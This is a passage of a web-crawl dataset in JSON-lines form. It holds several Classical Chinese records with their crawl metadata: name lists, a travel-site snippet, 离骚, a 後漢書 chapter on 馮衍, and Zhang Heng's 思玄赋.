殷沛文 殷久梅 殷鬓艳 殷锦婷 殷之瑶 殷飞雪 殷国梅 殷明芳 殷奇萍 殷薏茹 殷爱梅 殷晓倩 殷小倩 殷雨悦 殷熙怡 殷熙文 殷晏红 殷向英 殷露萍 殷格琳 殷悦源 殷裴兰 殷小秀 殷汇嫣 殷妤嫣 殷淑琴 殷翠琼 殷沣妍 殷睿妍 殷全梅 殷士梅 殷湘媛 殷少梅 殷培英 殷培霞 殷荠娅 殷柯萍 殷秋霞 殷锡红 殷月霞 殷二丽 殷张娜 殷和英 殷和梅 殷忠琴 殷沣琼 殷琪媛 殷烁萍 殷卫芳 殷大丽 殷永红 殷冰莹 殷美芳 殷灵瑛 殷春梅 殷运霞 殷仲英 殷孟冉 殷杏妍 殷利媛 殷雯婷 殷茹茜 殷燕秀 殷明洁 殷画秀 殷画悦 殷望悦 殷望秀 殷攀秀 殷盼悦","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/s681.cn\/show_A01.aspx","date":"2020-10-26T18:31:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107891624.95\/warc\/CC-MAIN-20201026175019-20201026205019-00309.warc.gz","language":"lzh","language_score":0.7280706167,"language_script":"Hani","minhash_cluster_size":14,"top_langs":"{\"lzh_Hani_score\": 0.7280706167221069, \"nan_Hani_score\": 0.27187082171440125}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.743,"perplexity_score":500.0,"cluster_detection":1} +{"text":"世界风筝都,国家园林城。山东潍坊,齐鲁大地人文与自然的摇篮。\n想去0\n去过0\n济南旅游指南 青岛旅游指南 淄博旅游指南 枣庄旅游指南 东营旅游指南 烟台旅游指南 济宁旅游指南 泰安旅游指南 威海旅游指南 日照旅游指南 莱芜旅游指南 临沂旅游指南 德州旅游指南 聊城旅游指南 滨州旅游指南 菏泽旅游指南","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/weifang.cncn.com\/gonglue\/","date":"2020-11-26T14:53:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141188800.15\/warc\/CC-MAIN-20201126142720-20201126172720-00587.warc.gz","language":"lzh","language_score":0.5315468311,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5315468311309814, \"cmn_Hani_score\": 0.40653252601623535, \"jpn_Jpan_score\": 0.02683226950466633, \"yue_Hani_score\": 0.01578443869948387, \"nan_Hani_score\": 0.013507894240319729}","num_words":19,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.551,"perplexity_score":500.0,"cluster_detection":1} +{"text":"在线起名\n「在线起名」姓名,蕴涵了人的精、气、神,传达着天地之玄机。姓名分析综合了八字和姓名五格、三才配置、81数理来解析姓名。\n殷艾 殷嫒 殷暧 殷棒 殷贝 殷蓓 殷宾 殷彬 殷斌 殷滨 殷冰 殷波 殷泊 殷博 殷才 殷财 殷灿 殷册 殷策 殷畅 殷超 殷潮 殷琛 殷臣 殷辰 殷晨 殷成 殷呈 殷诚 殷川 殷春 殷存 殷丹 殷焘 殷笛 殷娣 殷东 殷帆 殷凡 殷飞 殷菲 殷霏 殷峰 殷锋 殷阜 殷刚 殷罡 殷歌 殷广 殷贵 殷果 殷海 殷海 殷海 殷海 殷晗 殷涵 殷豪 殷濠 殷昊 殷浩 殷贺 殷赫 殷宏 殷闳 殷泓 殷洪 殷荭 殷虹 殷鸿 殷蕻 殷虎 殷浒 殷琥 殷华 殷怀 殷欢 殷焕 殷煌 殷晖 殷辉 殷烩 殷惠 殷慧 殷蕙 殷吉 殷济 殷霁 殷佳 殷俭 殷建 殷健 殷键 殷江 殷杰 殷婕 殷捷 殷碣 殷竭 殷谨 殷锦 殷瑾 殷进 殷静 殷炯 殷隽 殷珏 殷军 殷君 殷钧 殷筠 殷俊 殷郡 殷峻 殷浚 殷骏 殷凯 殷铠 殷坤 殷昆 殷兰 殷岚 殷澜 殷榄 殷乐 殷雷 殷镭 殷磊 殷蕾 殷离 殷黎 殷力 殷利 殷俐 殷栎 殷连 殷莲 殷凉 殷梁 殷亮 殷林 殷灵 殷凌 殷龙 殷璐 殷略 殷冒 殷眉 殷萌 殷梦 殷苗 殷淼 殷民 殷玟 殷敏 殷名 殷明 殷鸣 殷茗 殷铭 殷酩 殷茉 殷谋 殷睦 殷纳 殷南 殷楠 殷妮 殷倪 殷年 殷宁 殷农 殷培 殷佩 殷朋 殷鹏 殷澎 殷平 殷齐 殷奇 殷颀 殷淇 殷琦 殷琪 殷谦 殷骞 殷茜 殷强 殷巧 殷切 殷秦 殷勤 殷青 殷清 殷晴 殷庆 殷权 殷泉 殷群 殷荣 殷榕 殷蕊 殷芮 殷锐 殷瑞 殷睿 殷森 殷珊 殷上 殷胜 殷石 殷实 殷舒 殷澍 殷帅 殷双 殷爽 殷顺 殷朔 殷铄 殷硕 殷思 殷松 殷嵩 殷苏 殷素 殷台 殷潭 殷汤 殷涛 殷滔 殷桃 殷淘 殷田 殷甜 殷彤 殷桐 殷童 殷婉 殷惋 殷菀 殷威 殷薇 殷巍 殷为 殷唯 殷惟 殷维 殷伟 殷委 殷炜 殷玮 殷卫 殷渭 殷蔚 殷雯 殷希 殷熙 殷熹 殷贤 殷翔 殷萧 殷潇 殷晓 殷笑 殷辛 殷昕 殷欣 殷新 殷兴 殷雄 殷熊 殷旭 殷旋 殷璇 殷雅 殷研 殷衍 殷彦 殷焱 殷扬 殷阳 殷洋 殷珧 殷谣 殷遥 殷耀 殷烨 殷一 殷沂 殷艺 殷屹 殷易 殷奕 殷弈 殷益 殷毅 殷因 殷茵 殷音 殷寅 殷莺 殷婴 殷缨 殷鹰 殷盈 殷永 殷咏 殷勇 殷妤 殷瑜 殷宇 殷羽 殷雨 殷禹 殷语 殷育 殷昱 殷钰 殷寓 殷煜 殷誉 殷豫 殷园 殷沅 殷圆 殷缘 殷源 殷远 殷瑗 殷月 殷岳 殷阅 殷跃 殷越 殷樾 殷云 殷芸 殷韵 殷泽 殷湛 殷哲 殷振 殷震 殷峥 殷政 殷芝 殷志 殷智 殷壮 殷准 殷卓 殷倬 殷孜 殷兹 殷姿 殷滋 殷子 殷梓 殷紫 殷总 殷纵 殷霭瑗 殷安迪 殷安娴 殷安昕 殷安璇 殷安阳 殷安攸 殷安倬 殷安子 殷昂乐 殷百川 殷柏皇 殷邦祜 殷邦佑 殷棒棒 殷苞茨 殷宝丹 殷宝祷 殷宝欢 殷宝亮 殷宝宁 殷宝琪 殷宝瑞 殷宝鑫 殷宝仪 殷保华 殷保平 殷保中 殷贝贝 殷蓓钗 殷彬贺 殷斌颀 殷秉昌 殷秉凯 殷秉铨 殷秉霄 殷秉忠 殷炳渊 殷波凡 殷伯森 殷泊浩 殷博川 殷博春 殷博龙 殷博涛 殷博闻 殷博鑫 殷博以 殷博仡 殷博弈 殷博羿 殷博毅 殷博翼 殷博懿 殷渤人 殷搏仡 殷擘懿 殷布南 殷步军 殷才高 殷才骊 殷彩云 殷菜熊 殷灿彬 殷灿凡 殷灿枫 殷灿海 殷灿楠 殷灿楹 殷草嗤 殷草妗 殷茶晴 殷钗荞 殷长金 殷长明 殷长生 殷常青 殷畅萌 殷晁帆 殷朝敏 殷朝阳 殷尘鑫 殷臣泽 殷辰曦 殷辰萱 殷辰瑜 殷陈亮 殷陈曦 殷晨霭 殷晨彬 殷晨晨 殷晨达 殷晨风 殷晨光 殷晨杰 殷晨瑾 殷晨恺 殷晨亮 殷晨龙 殷晨民 殷晨铭 殷晨宁 殷晨庆 殷晨曦 殷晨晓 殷晨轩 殷晨萱 殷晨炫 殷晨眩 殷晨迅 殷晨晏 殷晨烨 殷晨逸 殷晨煜 殷晨泽 殷晨哲 殷丞海 殷丞昊 殷丞书 殷丞相 殷成川 殷成果 殷成海 殷成林 殷成龙 殷成嵩 殷成熙 殷承浩 殷承华 殷承勋 殷承宗 殷诚诚 殷诚程 殷程诚 殷程程 殷程昕 殷澄宇 殷骋成 殷骋诚 殷骋程 殷骋骋 殷崇辉 殷崇霄 殷崇烨 殷楚海 殷楚涵 殷川茸 殷川义 殷传根 殷传慧 殷传军 殷传沙 殷传选 殷传钰 殷椽耀 殷椽熠 殷椽煜 殷床鲮 殷创奇 殷春庚 殷春铃 殷春敏 殷春香 殷春晓 殷纯纯 殷纯焘 殷纯峰 殷纯烽 殷纯祥 殷绰强 殷绰岩 殷慈多 殷慈恩 殷慈徽 殷慈善 殷丛丛 殷榱耀 殷榱熠","id":"","dump":"CC-MAIN-2021-31","url":"http:\/\/m.pc89.com\/xm-n1-74.html","date":"2021-08-01T15:56:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046154214.63\/warc\/CC-MAIN-20210801154943-20210801184943-00516.warc.gz","language":"lzh","language_score":0.7525951266,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.7525951266288757, \"nan_Hani_score\": 0.247422456741333}","num_words":542,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.298,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.752,"perplexity_score":500.0,"cluster_detection":1} +{"text":"离骚\n屈原\n长太息以掩涕兮,哀民生之多艰。余虽好修姱以革几羁兮,謇朝谇而夕替。既替余以蕙纕兮,又申之以揽茝。亦余心之所善兮,虽九死其犹未悔。怨灵修之浩荡兮,终不察夫民心。众女嫉余之蛾眉兮,谣诼谓余以善淫。固时俗之工巧兮,偭规矩而改错。背绳墨以追曲兮,竞周容以为度。忳郁邑余侘傺兮,吾独穷困乎此时也。宁溘死以流亡兮,余不忍为此态也!鸷鸟之不群兮,自前世而固然。何方圜之能周兮?夫孰异道而相安?屈心而抑志兮,忍尤而攘诟。伏清白以死直兮,固前圣之所厚。\n悔相道之不察兮,延伫乎吾将反。回朕车以复路兮,及行迷之未远。步余马于兰皋兮,驰椒丘且焉止息。进不入以离尤兮,退将复修吾初服。制芰荷以为衣兮,集芙蓉以为裳。不吾知其亦已兮,苟余情其信芳。高余冠之岌岌兮,长余佩之陆离。芳与泽其杂糅兮,唯昭质其犹未亏。忽反顾以游目兮,将往观乎四荒。佩缤纷其繁饰兮,芳菲菲其弥章。民生各有所乐兮,余独好修以为常。虽体解吾犹未变兮,岂余心之可惩?","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/tesoon.com\/topic\/detail?rid=22238&biid=6574","date":"2022-05-17T01:34:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662515466.5\/warc\/CC-MAIN-20220516235937-20220517025937-00554.warc.gz","language":"lzh","language_score":0.5389296412,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.5389296412467957, \"zxx_Latn_score\": 0.1493351012468338, \"nan_Hani_score\": 0.03203005716204643, \"cmn_Hani_score\": 0.022745907306671143, \"und_Kits_score\": 0.01747078076004982, \"und_Tang_score\": 0.016044355928897858, \"und_Grek_score\": 0.014839672483503819, \"und_Vaii_score\": 0.012614634819328785, \"und_Cans_score\": 0.012290975078940392, \"und_Xsux_score\": 0.0119169345125556, \"und_Sgnw_score\": 0.010931788012385368}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.352,"perplexity_score":500.0,"cluster_detection":1} +{"text":"後漢書\/卷28下\n|桓譚馮衍列傳 ◄||後漢書 卷二十八下\n\n\n馮衍傳 第十八下\n|► 申屠剛鮑永郅惲列傳|\n馮衍编辑\n建武末,上疏自陳曰:\n臣伏念高祖之略而陳平之謀,毀之則疏,譽之則親。以文帝以明而魏尚之忠,繩之以法則為罪,施之以德則為功。逮至晚世,董仲舒言道德,見妒於公孫弘,李廣奮節於匈奴,見排於衛青,此忠臣之常所為流涕也。臣衍自惟微賤之臣,上無無知之薦,下無馮唐之說,乏董生之才,寡李廣之勢,而欲免讒口,濟怨嫌,豈不難哉!臣衍之先祖,以忠貞之故,成私門之禍。而臣衍復遭擾攘之時,值兵革之際,不敢回行求時之利,事君無傾邪之謀,將帥無虜掠之心。衛尉陰興,敬慎周密,內自修敕,外遠嫌疑,故敢與交通。興知臣之貧,數欲本業之。臣自惟無三益之才,不敢處三損之地,固讓而不受之,昔在更始,太原執貨財之柄,居蒼卒之間,據位食祿二十餘年,而財產歲狹,居處日貧,家無布帛之積,出無輿馬之飾。於今遭清明之時,飭躬力行之秋,而怨仇叢興,譏議橫世。蓋富貴易為善,貧賤難為工也。疏遠壟畝之臣,無望高闕之下,惶恐自陳,以救罪尤。\n書奏,猶以前過不用。衍不得誌,退而作賊,又自論曰:\n馮子以為夫人之德,不碌碌如玉,落落如石。風興雲蒸,一龍一蛇,與道翺翔,與時變化,夫豈守一節哉?用之則行,舍之則臧,進退無主,屈申無常。故曰:『有法無法,因時為業,有度無度,與物趣舍。』常務道德之實,而不求當世之名,闊略杪小之禮,蕩佚人間之事。正身直行,恬然肆誌。顧嘗好俶儻之策,時莫能聽用其謀,喟然長嘆,自傷不遭。久棲遲於小官,不得舒其所懷。抑心折節,意淒情悲。夫伐冰之家,不利雞豚之息;委積之臣,不操市井之利。況歷位食祿二十餘年,而財產益狹,居處益貧。惟夫君子之仕,行其道也。慮時務者不能興其德,為身求者不能成其功,去而歸家,復羈旅於州郡,身愈據職,家彌窮困,卒離饑寒之災,有喪元子之禍。 先將軍葬渭陵,哀帝之崩也,營之以為園。於是以新豐之東,鴻門之上,壽安之中,地勢高敞,四通廣大,南望酈山,北屬涇渭,東瞰河華,龍門之陽,三晉之路,西顧酆鄗,周秦之丘,客觀之墟,通視千里,覽見舊都,遂定塋焉。退而幽居。蓋忠臣過故墟而歔欷,孝子入舊室而哀嘆。每念祖考,著盛德於前,垂鴻烈於後,遭時之禍,墳墓蕪穢,春秋蒸嘗,昭穆無列,年衰歲暮,悼無成功,將西田牧肥饒之野,殖生產,修孝道,營宗廟,廣祭祀。然後闔門講習道德,觀覽乎孔老之論,庶幾乎松、喬之福,上隴阪,陟高岡,遊精宇宙,流目八纮。歷觀九州山川之體,追覽上古得失之風,湣道陵遲,傷德分崩。夫睹其終必原其始,故存其人而詠其道。疆理九野,經營五山,眇然有思陵雲之意。乃作賦自厲,命其篇曰《顯志》。顯志者,言光明風化之情,昭章玄妙之思也。\n其辭曰:\n開歲發春兮,百卉含英。甲子之朝兮,汨吾西征。發軔新豐兮,裴回鎬京。陵飛廉而太息兮,登平陽而懷傷。悲時俗之險厄兮,哀好惡之無常。棄衡石而意量兮,隨風波而飛揚。紛綸流於權利兮,親雷同而妒異;獨耿介而慕古兮,豈時人之所憙?沮先聖之成論兮,[B202]名賢之高風;忽道德之珍麗兮,務富貴之樂耽。遵大路而裴回兮,履孔德之窈冥;固眾夫之所眩兮,孰能觀於無形?行勁直以離尤兮,羌前人之所有;內自省而不慚兮,遂定誌而弗改。欣吾黨之唐、虞兮,湣吾生之愁勤;聊發憤而揚情兮,將以蕩夫憂心。往者不可攀援兮,來者不可與期;病沒世之不稱兮,願橫逝而無由。\n陟雍畤而消搖兮,超略陽而不反。念人生之不再兮,悲六親之日遠。陟九嵕而臨戔嶭兮,聽涇渭之波聲。顧鴻門而歔欷兮,哀吾孤之早零,何天命之不純兮,信吾罪之所生;傷誠善之無辜兮,賫此恨而入冥。嗟我思之不遠兮,豈則事之可悔?雖九死而不眠兮,恐余殃之有再。淚汍瀾而雨集兮,氣滂氵孛而雲披;心怫郁而紆結兮,意沈抑而內悲。\n瞰太行之嵯峨兮,觀壺口之崢嶸;悼丘墓之蕪穢兮,恨昭穆之不榮。歲忽忽而日邁兮,壽冉冉其不與;恥功業之無成兮,赴原野而窮處。昔伊尹之幹湯兮,七十說而乃信;臯陶釣於雷澤兮,賴虞舜而後親。無二士之遭遇兮,抱忠貞而莫達;率妻子而耕耘兮,委厥美而不伐。韓盧抑而不縱兮,騏驥絆而不試;獨慷慨而遠覽兮,非庸庸之所識。卑衛賜之阜貨兮,高顏回之所慕;重祖考之洪烈兮,故收功於此路。循四時之代謝兮,分五土之刑德;林相麓之所產兮,嘗水泉之所殖。修神農之本業兮,采軒轅之奇策;追周棄之遺教兮,軼范蠡之絕跡。陟隴山以逾望兮,眇然覽於八荒;風波飄其並興兮,情惆悵而增傷。覽河華之泱漭兮,望秦晉之故國。憤馮亭之不遂兮,慍去疾之遭惑。\n流山嶽而周覽兮,徇碣石與洞庭;浮江河而入海兮,溯淮濟而上征。瞻燕齊之舊居兮,歷宋楚之名都;哀群後之不祀兮,痛列國之為墟。馳中夏而升降兮,路紆軫而多艱;講聖哲之通論兮,心愊憶而紛紜。惟天路之同軌兮,或帝王之異政;堯、舜煥其蕩蕩兮,禹承平而革命。並日夜而幽思兮,終悇憛而洞疑;高陽[B202]其超遠兮,世孰可與論茲?訊夏啟於甘澤兮,傷帝典之始傾;頌成、康之載德兮,詠《南風》之歌聲。思唐、虞之晏晏兮,揖稷、契與為朋;苗裔紛其條暢兮,至湯、武而勃興。昔三後之純粹兮,每季世而窮禍;吊夏桀於南巢兮,哭殷紂於牧野。詔伊尹於亳郊兮,享呂望於酆州;功與日月齊光兮,名與三王爭流。\n楊朱號乎衢路兮,墨子泣乎白絲;知漸染之易性兮,怨造作之弗思。美《關雎》之識微兮,湣王道之將崩;拔周唐之盛德兮,捃桓、文之譎功。忿戰國之遘禍兮,憎權臣之擅強;黜楚子於南郢兮,執趙武於湨梁。善忠信之救時兮,惡詐謀之妄作;聘申叔於陳蔡兮,禽荀息於虞虢。誅犁鋤之介聖兮,討臧倉之訴知;巽子反於彭城兮,爵管仲於夷儀。疾兵革之浸滋兮,苦攻伐之萌生;沈孫武於五湖兮,斬白起於長平。惡叢巧之亂世兮,毒從橫之敗俗;流蘇秦於洹水兮,幽張儀於鬼谷。澄德化之陵遲兮,烈刑罰之峭峻;燔商鞅之法術兮,燒韓非之說論。誚始皇之跋扈兮,投李斯於四裔;滅先王之法則兮,禍浸淫而弘大。援前聖以制中兮,矯二主之驕奢;馌女齊於絳臺兮,饗椒舉於章華。摛道德之光耀兮,匡衰世之眇風;褒宋襄於泓谷兮,表季劄於延陵。摭仁智之英華兮,激亂國之末流;觀鄭僑於溱洧兮,訪晏嬰於營丘。日曀曀其將暮兮,獨於邑而煩惑;夫何九州之博大兮,迷不知路之南北;駟素[A084]而馳聘兮,乘翠雲而相佯;就伯夷而折中兮,得務光而愈明。款子高於中野兮,遇伯成而定慮;欽真人之德美兮,淹躊躇而弗去。意斟愖而不淡兮,俟回風而容與;求善卷之所存兮,遇許由於負黍。軔吾車於箕陽兮,秣吾馬於潁滸;聞至言而曉領兮,還吾反乎故宇。\n覽天地之幽奧兮,統萬物之維綱;究陰陽之變化兮,昭五德之精光。躍青龍於滄海兮,豢白虎於金山;鑿巖石而為室兮,托高陽以養仙。神雀翔於鴻崖兮,玄武潛於嬰冥;伏朱樓而四望兮,采三秀之華英。篡前修之誇節兮,曜往昔之光勛;披綺季之麗服兮,揚屈原之靈芬。高吾寇之岌岌兮,長吾佩之洋洋;飲六醴之清液兮,食五芝之茂英。\n揵六枳而為籬兮,築蕙若而為室;播蘭芷於中廷兮,列杜衡於外術。攢射幹雜蘼蕪兮,構木蘭與新夷;光扈扈而煬燿兮,紛郁郁而暢美;華芳曄其發越兮,時恍忽而莫貴;非惜身之埳軻兮,憐眾美之憔悴。遊精神於大宅兮,抗玄妙之常操;處清靜以養誌兮,實吾心之所樂。山峨峨而造天兮,林冥冥而暢茂;鸞回翔索其群兮,鹿哀鳴而求其友。誦古今以散思兮,覽聖賢以自鎮;嘉孔丘之知命兮,大老聃之貴玄;德與道其孰寶兮;名與身其孰親?陂山谷而閑處兮,守寂寞而存神。夫莊周之釣魚兮,辭卿相之顯位;於陵子之灌園兮,似至人之仿佛。蓋隱約而得道兮,羌窮悟而入術;離塵垢之窈冥兮,配喬、松之妙節。惟吾誌之所庶兮,固與俗其不同;既俶儻而高引兮,願觀其從容。\n顯宗即位,又多短衍以文過其實,遂廢於家。\n衍娶北地住氏女為妻,悍忌,不得畜媵妾,兒女常自操井臼,老竟逐之,遂埳壈於時。然有大誌,不戚戚於賤貧。居常慷慨嘆曰:『衍少事名賢,經歷顯位,懷金垂紫,揭節奉使,不求茍得,常有陵雲之誌。三公之貴,千金之富,不得其願,不概於懷。貧而不衰,賤而不恨,年雖疲曳,猶庶幾名賢之風。修道德於幽冥之路,以終身名,為後世法。』居貧年老,卒於家。所著賦、誄、銘、說、《問交》、《德誥》、《慎情》、書記說、自序、官錄說、策五十篇,肅宗甚重其文。子豹。\n馮豹编辑\n豹字仲文,年十二,母為父所出。後母惡之,嘗因豹夜寐,欲行毒害,豹逃走得免。敬事愈謹,而母疾之益深,時人稱其孝。長好儒學,以《詩》、《春秋》教麗山下。鄉裏之語曰:『道德彬彬馮仲文。』舉孝廉,拜尚書郎,忠勤不懈。每奏事未報,常俯伏省閤,或從昏至明。肅宗聞而嘉之,使黃門持被覆豹,敕令勿驚,由是數加賞賜。是時,方平西域,以豹有才謀,拜為河西副校尉。和帝初,數言邊事,奏置戊己校尉,城郭諸國復率舊職。遷武威太守,視事二年,河西稱之,復征入為尚書。永元十四年,卒於官。\n史論编辑\n論曰:夫貴者負勢而驕人,才士負能而遺行,其大略然也。二子不其然乎!馮衍之引挑妻之譬,得矣。夫納妻皆知取詈己者,而取士則不能。何也?豈非反妒情易,而恕義情難。光武雖得之於鮑永,猶失之於馮衍。夫然,義直所以見屈於既往,守節故亦彌阻於來情。嗚呼!\n贊曰:譚非讖術,衍晚委質。道不相謀,詭時同失。體兼上才,榮微下秩。","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E5%BE%8C%E6%BC%A2%E6%9B%B8\/%E5%8D%B728%E4%B8%8B","date":"2023-03-28T15:04:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296948867.32\/warc\/CC-MAIN-20230328135732-20230328165732-00155.warc.gz","language":"lzh","language_score":0.4246090651,"language_script":"Hani","minhash_cluster_size":16,"top_langs":"{\"lzh_Hani_score\": 0.42460906505584717, \"cmn_Hani_score\": 0.21702395379543304, \"zxx_Latn_score\": 0.07407765835523605, \"nan_Hani_score\": 0.06307005137205124, \"und_Tang_score\": 0.024673961102962494, \"yue_Hani_score\": 0.018817655742168427, \"wuu_Hani_score\": 0.012874034233391285, \"und_Yiii_score\": 0.010839235037565231, \"jpn_Jpan_score\": 0.010424125008285046}","num_words":28,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.255,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Home\nSearch\nAvailable Platforms\n蓋明德者,人之所得乎天,即天命之謂性也。知其明德,充其明德 者,率性之謂道也。在親民者,修道之謂教也。蓋有教無道,則天人路迷而難成,有道無教則師生道絕而無繼。","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/open.firstory.me\/story\/ckrynkggacyjm0807h9nxbsrz","date":"2023-05-31T18:36:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224647409.17\/warc\/CC-MAIN-20230531182033-20230531212033-00660.warc.gz","language":"lzh","language_score":0.7415680885,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7415680885314941, \"cmn_Hani_score\": 0.055239900946617126, \"wuu_Hani_score\": 0.027149317786097527, \"kiu_Latn_score\": 0.01005552802234888}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.702,"perplexity_score":500.0,"cluster_detection":1} +{"text":"衡常思图身之事,以为吉凶倚伏,幽微难明,乃作《思玄赋》,以宣寄情志。其辞曰:\n仰先哲之玄训兮,虽弥高其弗违。匪仁里其焉宅兮,匪义迹其焉追?潜服膺以永靓兮,绵日月而不衰。伊中情之信修兮,慕古人之贞节。竦余身而顺止兮,遵绳墨而不跌。志团团以应悬兮,诚心固其如结。旌性行以制佩兮,佩夜光与琼枝。纗幽兰之秋华兮,又缀之以江离。美襞积以酷裂兮,允尘邈而难亏。既姱丽而鲜双兮,非是时之攸珍。奋余荣而莫见兮,播余香而莫闻。幽独守此仄陋兮,敢怠遑而舍勤?幸二八之遌虞兮,喜傅说之生殷。尚前良之遗风兮,恫后辰而无及。何孤行之茕茕兮,孑不群而介立。感鸾鹥之特栖兮,悲淑人之稀合。\n彼无合其何伤兮,患众伪之冒真。旦获讟于群弟兮,启金縢而乃信。览烝民之多僻兮,畏立辟以危身。曾烦毒以迷或兮,羌孰可与言己?私湛忧而深怀兮,思缤纷而不理。愿竭力以守义兮,虽贫穷而不改。执雕虎而试象兮,阽焦原而跟止。庶斯奉以周旋兮,要既死而后已。俗迁渝而事化兮,泯规矩之圜方。珍萧艾于重笥兮,谓蕙芷之不香。斥西施而弗御兮,羁要袅以服箱。行陂僻而获志兮,循法度而离殃。惟天地之无穷兮,何遭遇之无常!不抑操而苟容兮,譬临河而无航。欲巧笑以干媚兮,非余心之所尝。袭温恭之黻衣兮,披礼义之绣裳。辫贞亮以为鞶兮,艺技艺以为珩。昭彩藻与雕琢兮,璜声远而弥长。淹栖迟以恣欲兮,燿灵忽其西藏。恃己知而华予兮,鶗鴂鸣而不芳。冀一年之三秀兮,遒白露之为霜。时亶亶而代序兮,畴可与乎比伉?咨妒嫮之难并兮,想依韩以流亡。恐渐冉而无成兮,留则蔽而不章。\n心犹与而狐疑兮,即岐阯而摅情。文君为我端蓍兮,利飞遁以保名。历众山以周流兮,翼迅风以扬声。二女感于崇岳兮,或冰折而不营。天盖高而为泽兮,谁云路之不平!勔自强而不息兮,蹈玉阶之嶢峥。惧筮氏之长短兮,钻东龟以观祯。遇九皋之介鸟兮,怨素意之不逞。游尘外而瞥天兮,据冥翳而哀鸣。雕鹗竞于贪婪兮,我修絮以益荣。子有故于玄鸟兮,归母氏而后宁。\n占既吉而无悔兮,简元辰而俶装。旦余沐于清原兮,晞余发于朝阳。漱飞泉之沥液兮,咀石菌之流英。翾鸟举而鱼跃兮,将往走乎八荒。过少皥之穷野兮,问三丘乎勾芒。何道真之淳粹兮,去秽累而票轻。登蓬莱而容与兮,鳌虽抃而不倾。留瀛洲而采芝兮,聊且以乎长生。凭归云而遐逝兮,夕余宿乎扶桑。噏青岑之玉醴兮,餐沆瀣以为粮。发昔梦于木禾兮,谷昆仑之高冈。\n朝吾行于汤谷兮,从伯禹于稽山。集群神之执玉兮,疾防风之食言。指长沙以邪径兮,存重华乎南邻。哀二妃之未从兮,翩傧处彼湘濒。流目覜夫衡阿兮,睹有黎之圮坟。痛火正之无怀兮,托山陂以孤魂。愁蔚蔚以慕远兮,越卬州而愉敖。跻日中于昆吾兮,憩炎天之所陶。扬芒熛而绛天兮,水泫沄而涌涛。温风翕其增热兮,惄郁邑其难聊。\n顝羁旅而无友兮,余安能乎留兹?顾金天而叹息兮,吾欲往乎西嬉。前祝融使举麾兮,纚朱鸟以承旗。躔建木于广都兮,拓若华而踌躇。超轩辕于西海兮,跨汪氏之龙鱼。闻此国之千岁兮,曾焉足以娱余?\n思九土之殊风兮,从蓐收而遂徂。欻神化而蝉蜕兮,朋精粹而为徒。蹶白门而东驰兮,云台行乎中野。乱弱水之潺湲兮,逗华阴之湍渚。号冯夷俾清津兮,棹龙舟以济予。会帝轩之未归兮,怅相佯而延伫。呬河林之蓁蓁兮,伟《关雎》之戒女。黄灵詹而访命兮,摎天道其焉如。曰:\"近信而远疑兮,六籍阙而不书。神逵昧其难覆兮,畴克谟而从诸?牛哀病而成虎兮,虽逢昆其必噬。鳖令殪而尸亡兮,取蜀禅而引世。死生错而不齐兮,虽司命其不晰。窦号行于代路兮,后膺祚而繁庑。王肆侈于汉廷兮,卒衔恤而绝绪。尉尨眉而郎潜兮,逮三叶而遘武。董弱冠而司衮兮,设王隧而弗处。夫吉凶之相仍兮,恒反侧而靡所。穆负天以悦牛兮,竖乱叔而幽主。文断祛而忌伯兮,阉谒贼而宁后。通人暗于好恶兮,岂爱惑之能剖?嬴擿谶而戒胡兮,备诸外而发内。或辇贿而违车兮,孕行产而为对。慎灶显于言天兮,占水火而妄谇。梁叟患夫黎丘兮,丁厥子而事刃。亲所睇而弗识兮,矧幽冥之可信。毋绵挛以涬己兮,思百忧以自疢。彼天监之孔明兮,用棐忱而佑仁。汤蠲体以祷祈兮,蒙厖褫以拯人。景三虑以营国兮,荧惑次于它辰。魏颗亮以从理兮,鬼亢回以敝秦。咎繇迈而种德兮,树德懋于英六。桑末寄夫根生兮,卉既凋而己毓。有无言而不雠兮,又何往而不复?盍远迹以飞声兮,孰谓时之可蓄?\n仰矫首以遥望兮,魂僘惘而无畴。逼区中之隘陋兮,将北度而宣游。行积冰之硙硙兮,清泉冱而不流。寒风凄而永至兮,拂穹岫之骚骚。玄武缩于壳中兮,螣蛇蜿而自纠。鱼矜鳞而并凌兮,鸟登木而失条。坐太阴之屏室兮,慨含欷而增愁。怨高阳之相寓兮,仙颛顼之宅幽。庸织络于四裔兮,斯与彼其何瘳?望寒门之绝垠兮,纵余绁乎不周。迅飙潚其媵我兮,骛翩飘而不禁。越谽谺之洞穴兮,标通渊之碄